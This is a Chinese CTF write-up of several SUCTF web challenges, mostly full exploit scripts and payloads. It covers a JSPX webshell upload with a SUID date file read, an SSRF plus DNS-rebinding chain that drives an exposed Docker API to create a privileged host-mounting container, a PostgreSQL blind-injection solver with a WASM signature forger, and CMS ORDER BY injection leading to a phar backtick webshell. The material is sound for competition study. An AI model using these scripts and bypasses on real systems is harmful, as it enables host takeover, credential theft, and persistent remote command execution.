/30b5a132adc9/flag_2d630fb4

我一开始先试了最朴素的读法:

1
cat /30b5a132adc9/flag_2d630fb4

结果当然读不到,因为权限是:

1
-r-------- 1 root root 39 Mar  1 12:39 /30b5a132adc9/flag_2d630fb4

最常规的一步就是扫 SUID:

1
find / -perm -4000 type f 2>/dev/null

我扫出来的时候最显眼的就是这个:

1
/usr/bin/date

date -f <file> 会把文件每一行都当成日期去解析,解析失败时又会把原始内容打进报错里,这就直接变成了一个读 root 文件的 gadget。

1
date -f /30b5a132adc9/flag_2d630fb4 2>&1

输出里就会直接带出 flag:

1
date: invalid date 'suctf{v3ry_e45y_uN4utHOrIZEd_rC3!_!aAA}'

最终EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
url = f"{base}/rest/tokens/saveImage"
params = {
"wmsApiController.do": "",
"imageFileName": "s.jspx",
"fileAddr": "../../webapps/jeewms",
}

requests.put(
url,
params=params,
data=WEBSHELL,
headers={"Content-Type": "application/octet-stream"},
timeout=20,
verify=False,
)

flag_path = exec_cmd(base, "find / -name 'flag_*' -type f 2>/dev/null").splitlines()[0].strip()
raw = exec_cmd(base, f"date -f {flag_path} 2>&1")

SU_uri

打开题目,是一个叫 CloudHook 的 Webhook 转发服务。它只有一个 API:POST /api/webhook,你给它传一个 urlbody,它会帮你把 body 以 POST 方式转发到你指定的 url 上,然后把响应返回给你。

一看就知道是 SSRF。

先试试经典的 http://127.0.0.1/,直接报 blocked IP: 127.0.0.1。再试 localhost,报 blocked host: ``localhost。试了一圈发现:

- IP 黑名单:127.0.0.0/8、10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、169.254.0.0/16 全封死了

- 特殊名localhost 直接黑名单

- Scheme 限制:只允许 http/https,gopher://file:// 直接 unsupported scheme

- 不跟随重定向:试了 httpbin 的 302 redirect,不跟

- Go 实现:从错误信息看是 Go 写的后端

然后把各种常见绕过手法都试了一遍:

手法 结果
十六进制 IP 0x7f000001 blocked
八进制 0177.0.0.1 blocked
十进制 2130706433 blocked
IPv6 [::1] blocked
IPv6 映射 [::ffff:127.0.0.1] blocked
nip.io / sslip.io blocked(Go 先解析 DNS 再检查)
URL auth 混淆 127.0.0.1:80@example.com 语法上通过了但实际打到 example.com
302 重定向 不跟随

基本上 Go 的逻辑是先 DNS 解析,拿到 IP 再对比黑名单,所以 nip.io 这些都不好使。

思路很简单:过滤的时候解析到公网 IP → 通过检查 → 实际发请求的时候解析到 127.0.0.1 → 打到内网。经典 TOCTOU(Time-of-check to time-of-use)漏洞。

rbndr.us 这个服务,它的域名格式是 <hexIP1>.<hexIP2>.rbndr.us,DNS 会随机在两个 IP 之间交替返回。

构造域名:7f000001.01010101.rbndr.us

  • 7f000001 = 127.0.0.1
  • 01010101 = 1.1.1.1

每次请求大约有 50% 的概率绕过(检查时拿到 1.1.1.1,实际连接时拿到 127.0.0.1)。多试几次就好了。

实际测试的时候加一个随机 query 参数 ?_cb=123456 来防 DNS 缓存:

1
2
3
4
import random
sep = '&' if '?' in path else '?'
cache_bust = f'{sep}_cb={random.randint(100000,999999)}'
url = f'http://7f000001.01010101.rbndr.us:2375{path}{cache_bust}'

DNS Rebinding 能用了之后,先扫一波内网端口看看有什么服务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
rebind_portscan.py
import requests
import json
import os
import random

for k in list(os.environ):
if 'proxy' in k.lower(): del os.environ[k]
os.environ['NO_PROXY'] = '*'

WEBHOOKS = [
'http://101.245.108.250:10011',
'http://101.245.108.250:10012',
'http://101.245.108.250:10013',
]
session = requests.Session()
session.trust_env = False
REBIND = '7f000001.01010101.rbndr.us'

def scan_port(port, attempts=8):
for i in range(attempts):
cb = random.randint(100000, 999999)
url = f'http://{REBIND}:{port}/?_cb={cb}'
try:
r = session.post(f'{WEBHOOKS[i%3]}/api/webhook',
json={'url': url, 'body': '{}'}, timeout=15)
text = r.text[:500]
if 'blocked' in text or 'resolve failed' in text:
continue
if 'connection refused' in text:
return port, 'CLOSED'
if 'target_status' in text:
data = json.loads(text)
body = data.get('target_body', '')
if '1001' in str(body): # Cloudflare 1.1.1.1 的错误页
continue
return port, f'OPEN status={data.get("target_status")} body={body[:200]}'
except:
pass
return port, 'UNKNOWN'

ports = [80, 443, 2375, 2376, 3000, 3306, 5000, 5432, 6379,
8000, 8080, 8081, 8443, 9000, 9090, 9200, 10001, 10011]

for p in ports:
p, result = scan_port(p)
print(f"Port {p}: {result}")

扫描结果发现端口 2375 是开的,返回了 {"message":"page not found"}

2375 — 这不就是 Docker daemon 的默认端口嘛!而且还是未认证的 HTTP API

确认了 Docker daemon 在 localhost:2375 上跑着,接下来试试能不能操作它。

有个坑:Webhook 服务只会发 POST 请求,而 Docker 很多 API(/version/info/containers/json)都是 GET 的,POST 过去会 404。

但是有些 Docker API 本身就是 POST 的:

1
2
3
4
POST /containers/create     → 201 (创建容器)
POST /containers/{id}/start → 204 (启动容器)
POST /containers/{id}/exec → 201 (创建 exec)
POST /exec/{id}/start → 200 (执行命令)

测试发现 /containers/create 返回 201,说明 Docker API 完全可以操控!

最终利用链:SSRF → DNS Rebinding → Docker API → 创建特权容器挂载宿主机 → 执行 /readflag

核心 exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
readflag.py
import requests
import json
import os
import time
import random

for k in list(os.environ):
if 'proxy' in k.lower(): del os.environ[k]
os.environ['NO_PROXY'] = '*'

WEBHOOKS = [
'http://101.245.108.250:10011',
'http://101.245.108.250:10012',
'http://101.245.108.250:10013',
]
session = requests.Session()
session.trust_env = False
REBIND = '7f000001.01010101.rbndr.us'

def ssrf_post(path, body='{}', max_attempts=50):
"""通过 DNS Rebinding 向 localhost:2375 发 POST 请求"""
for i in range(max_attempts):
sep = '&' if '?' in path else '?'
cache_bust = f'{sep}_cb={random.randint(100000,999999)}'
url = f'http://{REBIND}:2375{path}{cache_bust}'
try:
r = session.post(f'{WEBHOOKS[i%3]}/api/webhook',
json={'url': url, 'body': body}, timeout=20)
t = r.text
if 'blocked' in t or 'resolve failed' in t:
continue
if 'connection refused' in t or 'context deadline' in t:
continue
if '1001' in t and 'error code' in t:
continue # 打到了 1.1.1.1 上
data = json.loads(t)
if 'target_status' in data:
return data['target_status'], data.get('target_body', '')
except:
pass
return None, None

# 1. 创建特权容器,挂载宿主机根目录到 /mnt
print("[*] Creating privileged container...")
create_body = json.dumps({
"Image": "alpine",
"Cmd": ["/bin/sh", "-c", "sleep 300"],
"HostConfig": {
"Binds": ["/:/mnt"],
"Privileged": True
}
})
status, body = ssrf_post('/containers/create', create_body)
print(f" Create: [{status}] {body}")
cid = json.loads(body).get('Id', '')
print(f" Container ID: {cid}")

# 2. 启动容器
print("[*] Starting container...")
status, body = ssrf_post(f'/containers/{cid}/start', '{}')
print(f" Start: [{status}]")
time.sleep(2)

# 3. 通过 exec API 执行 readflag
print("[*] Executing readflag...")
exec_body = json.dumps({
"AttachStdout": True,
"AttachStderr": True,
"Cmd": ["/bin/sh", "-c", "chroot /mnt /readflag"]
})
status, body = ssrf_post(f'/containers/{cid}/exec', exec_body)
exec_id = json.loads(body).get('Id', '')

status, body = ssrf_post(f'/exec/{exec_id}/start',
json.dumps({"Detach": False, "Tty": False}))

# 解析 Docker multiplexed stream 输出
if body:
raw = body.encode('latin-1') if isinstance(body, str) else body
idx = 0
output = []
while idx + 8 <= len(raw):
length = int.from_bytes(raw[idx+4:idx+8], 'big')
if idx + 8 + length <= len(raw):
output.append(raw[idx+8:idx+8+length].decode('utf-8', errors='replace'))
idx += 8 + length
flag = ''.join(output).strip()
if not flag:
flag = raw[8:].decode('utf-8', errors='replace').strip()
print(f"\n[+] FLAG: {flag}")

关键细节

  1. DNS Rebinding 成功率:大概 50%,所以每个操作都要循环重试,加上 cache buster 防止 DNS 缓存。脚本里设了最多 50 次尝试。
  2. Docker 只接受 POST:因为 Webhook 只发 POST,刚好 Docker 的 create/start/exec 系列 API 都是 POST,完美适配。
  3. 读 Flag 的姿势:宿主机上 /flag 文件内容是 “Flag is not here. executable /readflag to get it!”,真正的 flag 需要执行 /readflag 这个二进制。所以创建容器的时候把宿主机 / 挂载到容器里 /mnt,然后 chroot /mnt /readflag 就能跑起来了。
  4. 解析 Docker 输出:exec start 返回的是 Docker multiplexed stream 格式(8 字节 header + payload),需要自己解析。

Flag

1
SUCTF{SsRF_tO_rC3_by_d0CkEr_15_s0_FUn}

SU_sqli

打开题目是一个搜索页面”SU Query”,前端有个输入框可以搜索 notes。

看一下前端 app.js,里面有一堆 base64 混淆,解一下:

1
2
3
4
5
6
7
_s[0] = "/api/sign"
_s[1] = "/api/query"
_s[2] = "POST"
_s[3] = "content-type"
_s[4] = "application/json"
_s[5] = "crypto1.wasm"
_s[6] = "crypto2.wasm"

整个流程是这样的:

  1. GET /api/sign 拿到签名材料(nonce、ts、seed、salt)
  2. 加载两个 Go WASM 模块 crypto1.wasm / crypto2.wasm,它们会注册全局函数 __suPrep__suFinish
  3. 调用 __suPrep 生成一个 32 字节的中间值
  4. 经过 unscramble(逆向旋转 + XOR mask)和 mixSecret(条件swap + 条件旋转 + XOR)处理
  5. 调用 __suFinish 生成最终签名 sign
  6. 带着 {q, nonce, ts, sign} POST 到 /api/query

所以这题的第一关是要过签名验证,不然发啥都是 401。

直接把前端逻辑搬到 Node.js 里跑。Go WASM 需要 wasm_exec.js 这个胶水文件,题目自带了。把两个 wasm 从服务器下载下来,Node 里加载就行。

关键是要补全 Node.js 缺少的浏览器全局变量(TextEncoderTextDecodercrypto.getRandomValuesperformance),不然 Go WASM 起不来。

签名搞定后就可以随意发请求了。发个单引号 ' 试试:

1
ERROR: unterminated quoted string at or near "' LIMIT 20" (SQLSTATE 42601)

好家伙,PostgreSQL,而且直接把错误信息吐出来了。从报错可以看出查询大概长这样:

1
SELECT ... WHERE col LIKE '%INPUT%' LIMIT 20

经典 LIKE 注入点。然后逐个测关键字,发现 WAF 拦了不少东西:

被拦的 没拦的
UNION SELECT
OR / AND FROM / WHERE
CAST / :: CASE WHEN THEN ELSE END
-- / ; / /**/ ` ` (字符串拼接)
chr / 1/0 ascii / substr / length
encode / decode string_agg / coalesce
INFORMATION_SCHEMA pg_tables / pg_class / pg_attribute
pg_catalog / pg_sleep EXISTS / NOT

UNION 被拦了没法直接拼查询,但是可以用 || 拼接字符串 + CASE WHEN 做布尔盲注。

核心 payload:

1
'||(SELECT CASE WHEN (条件) THEN 'Welcome' ELSE 'zzz' END)||'

拼到 LIKE 里就变成:

1
WHERE col LIKE '%' || (SELECT CASE WHEN (条件) THEN 'Welcome' ELSE 'zzz' END) || '%' LIMIT 20
  • 条件为真 → LIKE %Welcome% → 匹配到 id=1 的 “Welcome to SU Query” → 返回数据
  • 条件为假 → LIKE %zzz% → 啥都匹配不到 → 返回空

然后就是经典二分法逐字符提取了:先用 length() 二分出长度,再用 ascii(substr(...,i,1)) 二分出每个字符。

查列名的时候需要同时限制表名和属性类型,正常写法要用 AND,但 AND 被拦了。

解决办法:用子查询嵌套代替 AND

1
2
SELECT string_agg(attname,'|') FROM pg_attribute
WHERE attrelid = (SELECT oid FROM pg_class WHERE relname='secrets')

每个 WHERE 子句只有一个条件,完美绕过。

1
Tables: posts | secrets

secrets 表的列:flag, id

提取 secrets.flag

1
SUCTF{P9s9L_!Nject!On_IS_3@$Y_RiGht}

完整 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
solve.js
const fs = require("fs");
const path = require("path");
const { TextEncoder, TextDecoder } = require("util");
const crypto = require("crypto");

// Polyfill globals for Go WASM
globalThis.TextEncoder = TextEncoder;
globalThis.TextDecoder = TextDecoder;
if (!globalThis.performance) globalThis.performance = { now: () => Date.now() };
if (!globalThis.crypto) globalThis.crypto = { getRandomValues: (arr) => crypto.randomFillSync(arr) };

// Load Go WASM glue (题目自带的 wasm_exec.js)
require(path.join(__dirname, "application", "wasm_exec.js"));

const BASE = "http://101.245.108.250:10001";

// ========== app.js 里搬过来的辅助函数 ==========
function b64UrlToBytes(s) {
let t = s.replace(/-/g, "+").replace(/_/g, "/");
while (t.length % 4) t += "=";
return new Uint8Array(Buffer.from(t, "base64"));
}
function bytesToB64Url(bytes) {
return Buffer.from(bytes).toString("base64").replace(/\+/g, "-").replace(/\//g, "_").replace(/=+$/, "");
}
function rotl32(x, r) { return ((x << r) | (x >>> (32 - r))) >>> 0; }
function rotr32(x, r) { return ((x >>> r) | (x << (32 - r))) >>> 0; }

const rotScr = [1, 5, 9, 13, 17, 3, 11, 19];

function maskBytes(nonceB64, ts) {
const nb = b64UrlToBytes(nonceB64);
let s = 0 >>> 0;
for (let i = 0; i < nb.length; i++) s = (Math.imul(s, 131) + nb[i]) >>> 0;
const hi = Math.floor(ts / 0x100000000);
s = (s ^ (ts >>> 0) ^ (hi >>> 0)) >>> 0;
const out = new Uint8Array(32);
for (let i = 0; i < 32; i++) { s ^= (s << 13) >>> 0; s ^= s >>> 17; s ^= (s << 5) >>> 0; out[i] = s & 0xff; }
return out;
}

function unscramble(pre, nonceB64, ts) {
const buf = b64UrlToBytes(pre);
for (let i = 0; i < 8; i++) {
const o = i * 4;
let w = (buf[o] | (buf[o+1] << 8) | (buf[o+2] << 16) | (buf[o+3] << 24)) >>> 0;
w = rotr32(w, rotScr[i]);
buf[o] = w & 0xff; buf[o+1] = (w >>> 8) & 0xff; buf[o+2] = (w >>> 16) & 0xff; buf[o+3] = (w >>> 24) & 0xff;
}
const mask = maskBytes(nonceB64, ts);
for (let i = 0; i < 32; i++) buf[i] ^= mask[i];
return buf;
}

function probeMask(probe, ts) {
let s = 0 >>> 0;
for (let i = 0; i < probe.length; i++) s = (Math.imul(s, 33) + probe.charCodeAt(i)) >>> 0;
s = (s ^ (ts >>> 0) ^ (Math.floor(ts / 0x100000000) >>> 0)) >>> 0;
const out = new Uint8Array(32);
for (let i = 0; i < 32; i++) { s = (Math.imul(s, 1103515245) + 12345) >>> 0; out[i] = (s >>> 16) & 0xff; }
return out;
}

function mixSecret(buf, probe, ts) {
const mask = probeMask(probe, ts);
if (mask[0] & 1) { for (let i = 0; i < 32; i += 2) { const t = buf[i]; buf[i] = buf[i+1]; buf[i+1] = t; } }
if (mask[1] & 2) {
for (let i = 0; i < 8; i++) {
const o = i * 4;
let w = (buf[o] | (buf[o+1] << 8) | (buf[o+2] << 16) | (buf[o+3] << 24)) >>> 0;
w = rotl32(w, 3);
buf[o] = w & 0xff; buf[o+1] = (w >>> 8) & 0xff; buf[o+2] = (w >>> 16) & 0xff; buf[o+3] = (w >>> 24) & 0xff;
}
}
for (let i = 0; i < 32; i++) buf[i] ^= mask[i];
return buf;
}

// ========== HTTP ==========
async function httpGet(url) { return (await fetch(url)).json(); }
async function httpPost(url, body) {
return (await fetch(url, { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify(body) })).json();
}

// ========== WASM 加载 ==========
async function loadWasm() {
for (const name of ["crypto1.wasm", "crypto2.wasm"]) {
const go = new Go();
const buf = fs.readFileSync(path.join(__dirname, name));
const { instance } = await WebAssembly.instantiate(buf, go.importObject);
go.run(instance);
}
for (let i = 0; i < 200; i++) {
if (typeof globalThis.__suPrep === "function" && typeof globalThis.__suFinish === "function") return;
await new Promise((r) => setTimeout(r, 10));
}
throw new Error("WASM init failed");
}

// ========== 签名 + 查询 ==========
async function signAndQuery(q) {
const { data: m } = await httpGet(BASE + "/api/sign");
const ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36";
const probe = "wd=0;tz=Asia/Shanghai;b=;intl=1";

const pre = globalThis.__suPrep("POST", "/api/query", q, m.nonce, String(m.ts), m.seed, m.salt, ua, probe);
const secret2 = unscramble(pre, m.nonce, m.ts);
const mixed = mixSecret(secret2, probe, m.ts);
const sig = globalThis.__suFinish("POST", "/api/query", q, m.nonce, String(m.ts), bytesToB64Url(mixed), probe);

return httpPost(BASE + "/api/query", { q, nonce: m.nonce, ts: m.ts, sign: sig });
}

// ========== 布尔盲注 ==========
async function boolTest(cond) {
const payload = `'||(SELECT CASE WHEN (${cond}) THEN 'Welcome' ELSE 'zzz' END)||'`;
const r = await signAndQuery(payload);
if (!r.ok && r.error === "blocked") throw new Error("BLOCKED: " + cond);
return r.ok && r.data && r.data.length > 0;
}

async function extractString(subquery, maxLen = 200) {
// 二分法求长度
let lo = 0, hi = maxLen;
while (lo < hi) {
const mid = Math.floor((lo + hi + 1) / 2);
(await boolTest(`length((${subquery}))>=${mid}`)) ? (lo = mid) : (hi = mid - 1);
}
const len = lo;
console.log(` Length: ${len}`);

// 二分法逐字符提取
let result = "";
for (let i = 1; i <= len; i++) {
let clo = 32, chi = 126;
while (clo < chi) {
const cmid = Math.floor((clo + chi + 1) / 2);
(await boolTest(`ascii(substr((${subquery}),${i},1))>=${cmid}`)) ? (clo = cmid) : (chi = cmid - 1);
}
result += String.fromCharCode(clo);
process.stdout.write(`\r [${i}/${len}] ${result}`);
}
console.log();
return result;
}

// ========== 主流程 ==========
async function main() {
console.log("Loading WASM...");
await loadWasm();
console.log("WASM ready!\n");

// 1. 提取表名
console.log("=== Tables ===");
const tables = await extractString(
"SELECT string_agg(tablename,'|') FROM pg_tables WHERE schemaname='public'"
);
console.log("Tables:", tables);

// 2. 对每个表查列名和数据
for (const table of tables.split("|")) {
console.log(`\n=== ${table} columns ===`);
const cols = await extractString(
`SELECT string_agg(attname,'|') FROM pg_attribute WHERE attrelid = (SELECT oid FROM pg_class WHERE relname='${table}')`
);
console.log("Columns:", cols);

const userCols = cols.split("|").filter(c => !["tableoid","cmax","xmax","cmin","xmin","ctid"].includes(c));
for (const col of userCols) {
console.log(`\n--- ${table}.${col} ---`);
const data = await extractString(`SELECT string_agg(${col},'|') FROM ${table}`);
console.log("=>", data);
}
}
}

main().catch(console.error);

Flag

1
SUCTF{P9s9L_!Nject!On_IS_3@$Y_RiGht}

SU_cmsAgain

这题我拿到附件之后,第一反应不是去撞后台,而是先把所有能直接打到的接口过一遍。原因很简单:这套 CMS 的后台登录肉眼可见带验证码,直接在登录口硬试既慢又容易把账号打锁;反过来,前台 API 往往是更容易出问题的地方。

先盯上的就是 GetInfo。这个接口参数很多,最显眼的可控点是 OrderBy。顺着调用链往下看,能直接看到它把外部传入的 OrderBy 原样送进了取数据逻辑:

1
2
3
4
5
6
7
8
public function GetInfo(){
...
$OrderBy = isset($_REQUEST['OrderBy']) ? $_REQUEST['OrderBy'] : '';
...
$data['Data'] = get_info($ChannelID, $SpecialID, $Top, $TimeFormat, $TitleLen, $Suffix, $LabelID, $NowPage, $Keywords,
$OrderBy, $MinPrice, $MaxPrice, $Attr, API_LANGUAGE_ID, $Field, $PageSize,$ProvinceID,$CityID,$DistrictID);
...
}

继续往下追,真正的排序发生在这里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if(empty($orderby) || $orderby==1){
$this->order('a.InfoOrder asc, a.InfoTime desc');
}else{
if ($orderby==2){
$this->order('a.SalesCount desc, a.InfoTime desc');
}elseif($orderby==3){
$this->order('a.InfoPrice desc, a.InfoTime desc');
}elseif($orderby==4){
$this->order('a.InfoPrice asc, a.InfoTime desc');
}elseif($orderby==5){
$this->order('a.InfoTime desc');
}elseif($orderby==6){
$this->order('a.ExchangePoint desc, a.InfoTime desc');
}elseif($orderby==7){
$this->order('a.ExchangePoint asc, a.InfoTime desc');
}elseif($orderby==99){
$this->order('rand()');
}else{
$orderby = YdInput::checkOrderField($orderby);
$this->order($orderby);
}
}

第一眼看上去它像是做了过滤,但再往里翻 checkOrderField(),就会发现这个过滤只适合处理字符串:

1
2
3
4
5
6
7
8
9
10
11
12
static function checkOrderField($orderby){
$len = strlen($orderby);
if($len>45) return '';
$search = array(
'(', ')', '"', "'", '%', ';', '*', '0x', '<', '>', '+', '{', '}', '==', '=', '-', '&', '#', "\\",
'select', 'join', 'delete', 'like', 'drop', 'alter',
'union', 'modify', 'sleep', 'root',
'youdian_'
);
$orderby = str_ireplace($search, 'XYZ', $orderby);
return $orderby;
}

这时候我的思路就变成了:如果 OrderBy 不是字符串,而是数组呢?继续追到数据库层,答案一下就出来了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected function parseOrder($order) {
if(is_array($order)) {
$array = array();
foreach ($order as $key=>$val){
if(is_numeric($key)) {
$array[] = $this->parseKey($val);
}else{
$array[] = $this->parseKey($key).' '.$val;
}
}
$order = implode(',',$array);
}
return !empty($order)? ' ORDER BY '.$order:'';
}

protected function parseKey(&$key) {
return $key;
}

parseKey() 直接把 key 原样返回,这就等于把数组 key 交给了 SQL。也就是说,只要把 OrderBy 传成数组,前面的字符串替换过滤基本就失效了,后面还能直接进入 ORDER BY

到这里已经能确定有注入,但我一开始并没有急着写脚本,而是先想这条链应该怎么“读”结果。ORDER BY 注入没有直接回显,最自然的思路是时间盲注或者报错注入,但这题其实都用不着,因为返回的数据列表本身就能给我们布尔信号。手工试了几次之后能观察到一个很稳定的现象:如果按 a.InfoID desc 排序,第一页第一条基本固定是 InfoID=66;如果改成 a.InfoTime desc,第一条就会变。于是一个非常朴素的布尔盲注思路就成立了:用 IF(条件,a.InfoID,a.InfoTime) 控制排序字段,条件为真时第一条是 66,条件为假时第一条不是 66。

脚本里的探测函数就是这么写的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def try_sqli(payload, session=None):
s = session or requests.Session()
for _ in range(3):
try:
r = s.get(f'{TARGET}/index.php/Home/Api/GetInfo', params={
'XcxType': '5',
f'OrderBy[IF({payload},a.InfoID,a.InfoTime)]': 'desc'
}, timeout=10)
if r.status_code == 200:
data = r.json()
if 'Data' in data and len(data['Data']) > 0:
return data['Data'][0]['InfoID'] == '66'
except:
pass
time.sleep(0.3)
return False

这里顺手提一下复盘源码时确认的一个小细节:脚本里保留了 XcxType=5,但回头看这一条调用链时会发现,GetInfo 本身并没有在这里显式走 checkSign(),所以真正决定注入成败的关键点并不是签名绕过,而是 OrderBy 数组 key 进入了 ORDER BY。这个参数留着不影响利用,但不是核心。

有了布尔信号之后,剩下就是标准的逐位提取。为了少发一点包,我直接用 ASCII 二分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def sqli_extract(query, max_len=64, session=None):
result = ""
for i in range(1, max_len + 1):
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
if try_sqli(f"ascii(mid(cast(({query}) as char),{i},1))>{mid}", session):
low = mid + 1
else:
high = mid - 1
if low == 32 and not try_sqli(f"ascii(mid(cast(({query}) as char),{i},1))>31", session):
break
result += chr(low)
print(f" [SQLi] pos {i}: {result}")
return result

这一段我中间踩过一个小坑。最开始我直接用 mid((select ...),i,1) 去跑,有些位置的回显特别不稳定,尤其是字符串里碰到特殊字符的时候更明显。后来在子查询外面补了一层 cast((...) as char),整体稳定性明显好了很多。最后直接把管理员密码明文拉了出来:

1
SELECT AdminPassword FROM youdian_admin WHERE AdminID=1 LIMIT 1

结果是:

1
SUCTF@123!@#20260813

后台进来之后,直觉上就应该去找上传点。我没有先翻模板管理或者文件编辑器,而是优先找“现成可调用的上传接口”,因为这类点一旦打通,通常比模板写文件更稳。很快就能看到前台 API 里有一个现成的 UploadFile

1
2
3
4
5
6
7
8
9
function UploadFile(){
if(CLIENT_TYPE == 3) {
$this->checkAdminLogin();
}else{
$this->checkSign();
$this->checkToken();
}
...
}

这行判断的意思很直白:只要把 ClientType 设成 3,它就不再要求签名和 token,而是直接看后台 session 里有没有 AdminID。对应的检查甚至只有这么几行:

1
2
3
4
5
6
7
private function checkAdminLogin(){
$AdminID = intval(session("AdminID"));
if(empty($AdminID)){
$this->ApiReturn(null, '登录超时,请重新登录!', 0, API_FORMAT);
}
return $AdminID;
}

也就是说,只要前面后台登录成功,这个上传口后面几乎就是为我们服务的。真正的问题不在权限,而在扩展名和内容过滤。

先看扩展名。我最开始想的是直接找一个“天生可执行”的后缀,但这里上传口是跟着后台上传配置走的,所以先回头看后台怎么保存允许扩展名。结果一眼就看到了一个非常典型的黑名单思路:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function saveUpload(){
...
$types = explode('|', $_POST['UPLOAD_FILE_TYPE']);
$blackList = array('asp', 'php', 'asa', 'jsp', 'bat', 'exe', 'ascx', 'cgi', 'ini', 'cer', 'pht', 'dll', 'xml', 'htaccess', 'config');
foreach($types as $v){
$type = trim(strtolower($v));
if(strlen($type) > 5){
$this->ajaxReturn(null, '扩展名长度不能大于5位' , 0);
}
foreach($blackList as $b){
if(false !== stripos($type, $b)){
$this->ajaxReturn(null, "包含非法扩展名{$b}" , 0);
}
}
}
...
}

我一开始先把 php5phtmlpht 这些常见边缘后缀过了一轮,发现都不太行。后来把注意力放到 phar 上时,整个思路突然顺了:它长度只有 4,满足长度限制;同时它既不包含 php 这个连续子串,也不包含 pht,正好避开了黑名单。

但这时候还不能急着下结论,因为后台能保存不代表上传时还不拦。所以我又把真正上传时的扩展名处理看了一遍,结果这里的实现比后台配置更松:

1
2
3
4
5
6
7
8
$deniedExt = array(
'asa','asp', 'aspx', 'cdx','ascx', 'vbs', 'ascx', 'jsp', 'ashx', 'js', 'reg', 'cgi',
'html', 'htm','shtml', 'xml', 'xhtml', 'config', 'htaccess', 'ini',
'cfm', 'cfc', 'pl', 'bat', 'exe', 'com', 'dll', 'htaccess', 'cer',
'php5', 'php4', 'php3', 'php2', 'php', 'pht', 'phtm'
);
$allowExts = str_ireplace($deniedExt, 'xxx', $d['UPLOAD_FILE_TYPE']);
$upload->allowExts = explode('|', $allowExts);

这里不是严格白名单,而是把配置字符串里命中的危险片段替换成 xxxphar 再次完美避开,于是后半段就很明确了:先用后台接口把 UPLOAD_FILE_TYPE 加上 phar,再回头打上传口。

脚本里修改配置的部分就是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def modify_upload_config(s):
r = s.post(f'{TARGET}/index.php/Admin/Config/saveUpload', data={
'UPLOAD_FILE_TYPE': 'rar|zip|doc|docx|ppt|pptx|pdf|jpg|xls|png|gif|mp3|jpeg|bmp|swf|flv|ico|mp4|phar',
'MAX_UPLOAD_SIZE': '5',
'UPLOAD_DIR_TYPE': '1',
}, timeout=15)
try:
j = json.loads(r.text)
if j.get('status') == 1:
print("[+] Upload config modified: added 'phar'")
return True
except:
pass
print(f"[-] Config modify failed: {r.text[:200]}")
return False

扩展名解决了,最后就只剩内容层面的 WAF。这个地方如果一上来按常规 webshell 思路写,很容易卡很久,所以我把试错过程也记一下。最开始我上传的是最普通的 <?php phpinfo();?>,结果直接 503。既然是 503 而不是上传接口自己返回失败,那基本就能判断不是后缀问题,而是内容被拦了。

于是我把 payload 一点点拆开做最小化测试,大概摸出了下面这些现象:

  • hello world 可以过
  • <html>test</html> 可以过
  • <?=1?> 可以过,而且访问后会执行
  • <? echo 1; ?> 可以上传,但访问时只是原样输出
  • <?php echo 1; ?> 直接 503
  • <script>alert(1)</script> 直接 503
  • phpinfosystemeval 这种关键字也会被拦
  • $_POST 本身并不一定触发拦截
  • 反引号表达式可以过

这一轮试下来,几个关键信息就出来了。第一,WAF 主要是按特征串拦,不是只看扩展名。第二,<?php 被拦,但 <?= 没被拦;而 <? echo 1; ?> 原样输出,又说明 short_open_tag 没开,所以真正能用的 PHP 标签其实只剩短 echo。第三,危险函数名本身会被规则命中,所以走 system()eval() 这种传统写法并不舒服。

这时候最自然的替代思路就是用反引号。PHP 里反引号本质上就是 shell_exec(),但是不需要显式写出函数名。如果 WAF 不拦这个字符,那就还有一条非常短的执行链。测试 <?=id?> 之后,页面能稳定回显命令执行结果,这条路就跑通了。

真正最小可用的 payload 其实只要这一句:

1
<?=`id`?>

我当时也想过把它做成参数化,比如 <?=$_GET[0]?> 或者 <?=$_POST[0]?>,这样一次上传就能反复执行命令。但实际测试时,这种“短标签 + 超全局变量”的组合稳定性很差,经常被规则拦住。既然如此,还不如退一步,做成一次性命令执行器:每次上传一个写死命令的 phar,访问一次拿结果,再换下一条命令。

脚本最后就是这么实现的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def upload_shell(s, cmd):
backtick = b'\x60'
payload = b'<?=' + backtick + cmd.encode() + backtick + b'?>'

r = s.post(f'{TARGET}/index.php/Home/Api/UploadFile',
data={'ClientType': '3'},
files={'appfile': ('s.phar', payload, 'application/octet-stream')},
timeout=15)

if r.status_code == 200:
try:
j = json.loads(r.text)
if j.get('Status') == 1:
return j.get('Data', '')
else:
print(f" Upload resp: {r.text[:200]}")
except:
print(f" Upload parse error: {r.text[:200]}")
